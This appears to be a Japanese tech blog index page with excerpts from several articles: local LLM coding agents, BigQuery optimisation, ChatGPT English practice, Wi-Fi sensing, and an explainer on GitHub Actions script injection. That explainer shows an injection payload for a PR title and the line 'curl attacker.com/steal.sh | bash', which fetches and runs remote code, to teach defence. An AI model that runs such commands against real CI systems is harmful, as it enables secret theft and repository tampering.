はじめての記事
Hugo + GitHub Pages でブログサイトを構築しました
Hugo + GitHub Pages でブログサイトを構築しました
OpenHands × Ollama ローカルLLM実践記 — Mac Studio M3 Ultra で動かすまでの全記録 TL;DR: OpenHands(旧OpenDevin)をMac Studio M3 Ultra(96GB)+ Ollama + Qwen3-Coder 30B で動かそうとした。Docker-in-Docker のビルド問題、Playwright依存、ランタイムイメージ手動構築を経てUI起動まで到達したが、30Bモデルのtool calling精度不足で実用には至らなかった。 1. OpenHands とは OpenHands(旧 OpenDevin)は、オープンソースのAIコーディングエージェントプラットフォーム。75以上のLLMプロバイダーに対応し、SWE-bench で Qwen3-Coder 使用時に 69.6% のスコアを記録している。 公式リポジトリ: https://github.com/All-Hands-AI/OpenHands 特徴: Web UI でブラウザから操作 Docker サンドボックスで安全にコード実行 CodeActAgent による自律的なタスク遂行 Playwright 統合によるブラウザ操作 2. 動機 — なぜ OpenHands を試したか 前回の実験で Qwen Code(CLI エージェント)を Ollama + Qwen3-Coder 30B で動かしたが、複雑な multi-step タスク(GitHub PR レビューなど)で tool calling が破綻する問題に直面した。 OpenHands は SWE-bench で高スコアを出しており、エージェントスキャフォールディングの力で同じ 30B モデルでも改善されるのでは?という仮説を検証するために試した。 ...
BigQuery ARRAY/STRUCT で速度 3 倍・コスト 25% 削減 — JOIN を消す「データの持ち方」最適化 @yoshitake_l 氏が X で共有した、BigQuery のデータ構造変更による劇的な改善結果が注目を集めています。 BigQuery でデータの持ち方を変えるだけで、クエリ処理速度を 3 倍に、クエリコストを 25% 削減できたので共有。試したクエリは、1:N の 2 つのテーブルの N 側を集計し、1 側と JOIN するシンプルなもの。使ったのは、ARRAY と STRUCT というデータ構造です。 「データの持ち方を変えるだけ」で速度 3 倍・コスト 25% 削減。SQL のチューニングではなく、テーブル設計の変更でこの結果を得ています。本記事では、なぜ ARRAY/STRUCT が JOIN より高速でコストが低いのか、その技術的な仕組みと実践方法を解説します。 なぜ JOIN は遅くて高いのか BigQuery の分散処理とシャッフル BigQuery の課金と速度の問題を理解するには、まず分散処理の仕組みを知る必要があります。 BigQuery の JOIN 処理の流れ: 1. テーブル A を複数のスロット(ワーカーノード)に分散読み込み 2. テーブル B を複数のスロットに分散読み込み 3. JOIN キーに基づいて、データを適切なスロットに「再配置」 → これが「シャッフル」 4. 各スロットでマッチング処理を実行 5. 結果を統合 問題: ステップ 3 のシャッフルが最大のボトルネック ├── スロット間のネットワーク通信が発生 ├── 大量の中間データが移動 └── 通信待ちの間、スロットが遊休状態になる BigQuery のオンデマンド課金は「スキャンしたバイト数」に比例します。JOIN では両方のテーブルのキー列と必要列をすべてスキャンするため、スキャン量が増えます。さらに、JOIN に必要なシャッフル処理が実行時間を大幅に伸ばします。 ...
ChatGPT 音声モード × 14 日間英会話特訓 — 詰まった言葉がスラスラ出る 4 つの黄金プロンプト @technocrat_s 氏のポストで紹介された記事が話題になっています。 【検証】ChatGPTと14日間、ガチの「英会話」特訓。詰まった言葉がスラスラ出る黄金プロンプト4つ ライフハッカー・ジャパンの記事(原文: MakeUseOf / Saikat Basu)は、在宅勤務でスピーキング力が錆びついたライターが ChatGPT の高度音声モード(Advanced Voice Mode)をコーチに見立て、14 日間の集中特訓を行った検証記事です。思考と発話の間の「0.5 秒の遅れ」を消すために設計された 4 つのプロンプトと、その結果を具体的に報告しています。 問題 — 「考えてから話す」0.5 秒の壁 著者の Saikat Basu 氏は MakeUseOf の元編集者で、MBA を持つテクノロジーライターです。在宅勤務が長くなるにつれ、ビデオ会議やチームコールで英語の発話に遅れが生じるようになりました。 在宅ワーカーのスピーキング劣化: 思考 → [0.5 秒の遅れ] → 発話 ↑ ・フィラー語(um, uh)の増加 ・語彙が出てこない ・文法ミスの自己修正ができない ・発音の曖昧化 「知っている英語」と「口から出る英語」の間にギャップがある — これは日本人英語学習者にも共通する課題です。文法や語彙の知識があっても、リアルタイムの発話ではその知識を引き出せない。Basu 氏はこのギャップを ChatGPT の音声モードで埋められるかを検証しました。 ChatGPT 高度音声モード — AI が「聞いて、話して、直す」 ChatGPT の Advanced Voice Mode は 2024 年後半に GPT-4o ベースで登場し、2025 年以降は無料ユーザーにも開放されています。 特徴 従来のテキストチャット 高度音声モード 応答速度 テキスト入力→テキスト出力 リアルタイム音声対話 発音フィードバック 不可能 母音・子音レベルで指摘可能 会話の自然さ ターン制 割り込み・相槌あり 感情表現 なし 9 種類のアクセント・声質選択 練習の心理的障壁 低い 低い(相手が AI なので恥ずかしくない) 従来の英会話レッスンとの最大の違いは予約不要・24 時間・何度でもやり直せることです。また「相手が AI なので失敗が恥ずかしくない」という心理的安全性も、スピーキング練習では非常に重要です。 ...
GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している 『GitHub CI/CD実践ガイド』著者の tmknom 氏(@tmknom)が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。 はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね! 引用されている kou_pg_0131 氏の Zenn 記事は、GitHub Actions の run ステップで ${{ }} テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。 何が危険なのか — 30秒で理解する 1 2 # 危険なコード - run: echo "PR title is ${{ github.event.pull_request.title }}" 一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、任意のコマンドが実行されます。 "; echo INJECTED" 展開後のシェルコマンドは以下になります。 1 echo "PR title is "; echo INJECTED"" セミコロンでコマンドが分割され、echo INJECTED が実行されます。echo の代わりに curl attacker.com/steal.sh | bash を書けば、CI/CD ランナー上でリバースシェルの確立、シークレットの窃取、リポジトリの改ざんが可能です。 ...
Qwen Code ローカル運用実践記 — Mac Studio M3 Ultra で Ollama + qwen3-coder:30b を動かして分かったこと Qwen Code(Alibaba Cloud Qwen チームが開発したオープンソース CLI コーディングエージェント)を Mac Studio M3 Ultra(96GB)上で Ollama と組み合わせてローカル運用を試みた実践記録です。環境構築からツール呼び出しの限界まで、実際に手を動かして検証した結果をまとめます。 背景と目的 Claude Code は強力ですが、コードがクラウドに送信されるためプライバシーの懸念があります。Qwen Code は Apache 2.0 ライセンスのオープンソースで、Ollama と組み合わせれば完全ローカルで動作するため、機密コードベースでの利用が期待されます。 本記事の検証環境: 項目 スペック マシン Mac Studio M3 Ultra メモリ 96GB ユニファイドメモリ メモリ帯域 800 GB/s Ollama v0.15.6 Qwen Code v0.12.0(Fork からローカルビルド) モデル qwen3-coder:30b (18GB) ステップ1: リポジトリの Fork と Clone 調査・改造を前提に、まず QwenLM/qwen-code を Fork しました。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Fork(GitHub CLI) gh repo fork QwenLM/qwen-code --clone=false # devel ブランチを作成してデフォルトに設定 # main は upstream との sync 用にクリーンに保つ gh api repos/hdknr/qwen-code/git/refs \ -f ref="refs/heads/devel" \ -f sha="$(gh api repos/hdknr/qwen-code/git/ref/heads/main --jq '.object.sha')" gh repo edit hdknr/qwen-code --default-branch devel # Clone mkdir -p ~/Projects/qwen cd ~/Projects/qwen gh repo clone hdknr/qwen-code ブランチ戦略: ...
Qwen Code 初心者ガイド — 無料で使えるオープンソース CLI コーディングエージェント Claude Code の無料オープンソース代替として注目を集めている Qwen Code。Alibaba Cloud の Qwen チームが開発したターミナルベースの AI コーディングエージェントで、1日1,000リクエストまで無料で利用できます。この記事では、初めて使う人にもわかるように、インストールから実践的な使い方まで解説します。 Qwen Code とは何か Qwen Code は、ターミナル(コマンドライン)で動く AI コーディングアシスタントです。自然言語で指示を出すと、コードの理解・生成・編集・実行を自律的に行います。 一言で言うと 「無料で使える Claude Code のオープンソース版」 Claude Code との違い 観点 Qwen Code Claude Code 料金 無料(OAuth で1日1,000リクエスト) 従量課金(API 使用量に応じて) ライセンス Apache 2.0(オープンソース) プロプライエタリ ベースモデル Qwen3-Coder Claude インターフェース ターミナル CLI ターミナル CLI IDE 統合 VS Code, Zed, JetBrains VS Code, JetBrains MCP サポート あり あり コード品質 実用的(オープンモデルとしてトップクラス) 最高品質 カスタマイズ 完全にカスタマイズ可能 限定的 できること コードベース全体を理解して質問に答える ファイルの作成・編集・削除 シェルコマンドの実行 Git 操作(コミット、diff 確認等) バグの発見と修正 テストの作成と実行 MCP サーバーとの連携 インストール手順 前提条件 Node.js 20 以上が必要です。まだインストールしていない場合は nodejs.org からダウンロードしてください。 ...
RuView × Wi-Fi電波で壁越し人体検知 — $48で心拍・姿勢を丸裸にする技術の実態 TL;DR: カメラなし・$48のESP32だけで壁の向こうの人間の心拍・呼吸・骨格17点を検知できるとするオープンソースプロジェクト「RuView」がSNSで話題に。原理はCMU発の査読済み研究に基づく実在技術だが、「28.5kスター」の裏には再現性への疑義とCSIハードウェアの壁がある。煽りと科学を分離して整理する。 話題の発端 @kosuke_agos氏のポスト(2026年3月5日、閲覧6.4万・ブックマーク456)が日本語圏で拡散。「市販Wi-Fiルーターだけで壁の向こう側の人間の心拍数や姿勢を完全に特定」「わずか48ドルで構築」という衝撃的な内容が注目を集めた。 https://x.com/kosuke_agos/status/2029392193325285521 RuView とは何か RuView(旧wifi-densepose)は、Wi-Fi信号のCSI(Channel State Information)を解析して、カメラなしで人体の姿勢推定・バイタルサイン検知を行うオープンソースプロジェクト。 GitHub: https://github.com/ruvnet/RuView スター: 28.5k / フォーク: 3.7k ライセンス: MIT 実装言語: Rust(Python比810倍の処理速度を主張) 主張されている性能 機能 スペック 骨格トラッキング 17箇所のキーポイント 呼吸検知 6-30 BPM 心拍検知 40-120 BPM 処理速度 54,000 fps(Rust実装) 壁越し検知距離 最大5m AIモデルサイズ 55KB(エッジ実行可能) ハードウェアコスト 〜$48(ESP32-S3 × 4-6台) 科学的な背景 — CMU「DensePose From WiFi」 RuView の理論的基盤は、カーネギーメロン大学(CMU)ロボティクス研究所が2022年に発表した査読済み論文「DensePose From WiFi」(arXiv: 2301.00250)。 論文の核心 Wi-Fiの**CSI(チャネル状態情報)**は、空間内の物体・人体による電波の反射・回折・散乱を数値化したもの CSI信号を画像的な2D特徴マップに変換するエンコーダ・デコーダネットワークを構築 修正版DensePose-RCNNで、2D特徴から人体表面のUV座標を推定 複数人の同時検知が可能で、カメラベースのアプローチに匹敵する性能を達成 この研究は実在し、査読を通過しており、Wi-Fi CSI による人体検知という原理自体は「嘘」ではない。 CSI の仕組み(簡略版) Wi-Fi ルーター → 電波送信(OFDM: 52サブキャリア) ↓ 人体が電波を反射・吸収・散乱 ↓ ESP32 受信 → 各サブキャリアの振幅・位相変化を記録(= CSI) ↓ AI が CSI パターンから人体の姿勢・バイタルを推定 呼吸は胸部の周期的な膨張・収縮(6-30回/分)、心拍は胸壁の微小振動(40-120回/分)として、CSIのFFT(高速フーリエ変換)解析で分離・抽出される。 ...
「AIに評価されている」と知った人は量を増やし質を落とす — アルゴリズム評価の隠れたコスト @ai_database(AIDB)のポストが話題になっています。 提出物をAIでレビューするツールや、実際にそれらを使用する人も増えている中、今回カリフォルニア大学などの研究者らは「“AIで仕事を評価されている"と知った人は"アウトプットの量は増えるが中身が薄くなる”」という現象が有意にあることを実験で確認しました。 カリフォルニア大学サンタバーバラ校(UCSB)の David Almog、Lucas Lippman、Daniel Martin らが 2026 年 3 月に発表した論文「When an AI Judges Your Work: The Hidden Costs of Algorithmic Assessment」は、AI 評価が人間の行動を構造的に変えてしまうことを実験で証明しました。量は増えるが質は落ちる、外部ツールへの依存は倍増する、高得点の喜びは薄れる — 「AIがだましやすいから手を抜く」ではなく、人間の目の有無がモチベーションそのものを変えるという発見です。 実験の設計 — 208 人の画像説明タスク 研究チームは 208 人の参加者をランダムに 2 グループに分けました。 グループ 人数 評価者 人間評価グループ 103 人 人間の評価者が採点すると事前に告知 ChatGPT 評価グループ 105 人 ChatGPT が採点すると事前に告知 タスクは 20 枚の日常風景画像に対して 150〜400 文字の説明文を書くことです。評価基準は「興味深さ」「努力」「正確さ」の 3 項目で、各 0〜3 点(合計 9 点満点)です。 重要なのは、両グループとも実際の評価方法は同じだったことです。違うのは「誰に評価されると思っているか」だけです。つまり、この実験が測定しているのは AI の評価能力ではなく、「AI に評価される」という認知が人間の行動をどう変えるかです。 結果 — 量は増え、質は落ちる 量の増加 出力文字数: 人間評価グループ: 229 文字(平均) ChatGPT評価グループ: 251 文字(平均) → +9.6%(p < 0.0001) 作成時間: 人間評価グループ: 94 秒(平均) ChatGPT評価グループ: 85 秒(平均) → -9.6%(p < 0.0001) ChatGPT 評価グループはより短い時間で、より多くの文字数を生産しました。一見すると生産性が向上しているように見えます。 ...
「Claude Code が無料で無制限」は本当か — ollama launch claude の実態と品質ギャップの正直な話 @TusharSoni014 氏の X 投稿が 10 万回以上表示され、2,227 件のブックマークを集めています。 Want Claude Code Unlimited FREE? Follow, Download Ollama Install Qwen3.5 9B Run this command in your terminal, ollama launch claude –model qwen3.5:9b Enjoy Unlimited Claude Code fully running 100% Free 「Claude Code が完全に無料で無制限に使える」という主張です。1,311 件のいいねと 127 件のリツイートを見ると、多くの人がこの情報に飛びついたことがわかります。 結論から言えば、コマンド自体は実在しますが、「Claude Code が無料で動く」という表現は大きな誤解を招きます。正確に何が起きているのか、何が失われるのかを解説します。 ollama launch claude は実在する コマンドの正体 ollama launch は、Ollama v0.15 で追加された公式コマンドです。Claude Code、OpenCode、Codex などのコーディングツールを、環境変数や設定ファイルなしで起動できるようにするものです。 1 2 3 4 # 基本的な使い方 ollama launch claude # インタラクティブにモデルを選択 ollama launch claude --model qwen3-coder # モデルを指定して起動 ollama launch claude --model qwen3.5:9b # ツイートの例 このコマンドが裏でやっていることは、Ollama の Anthropic Messages API 互換モードを利用して、ローカルの LLM を Claude Code のバックエンドとして接続することです。 ...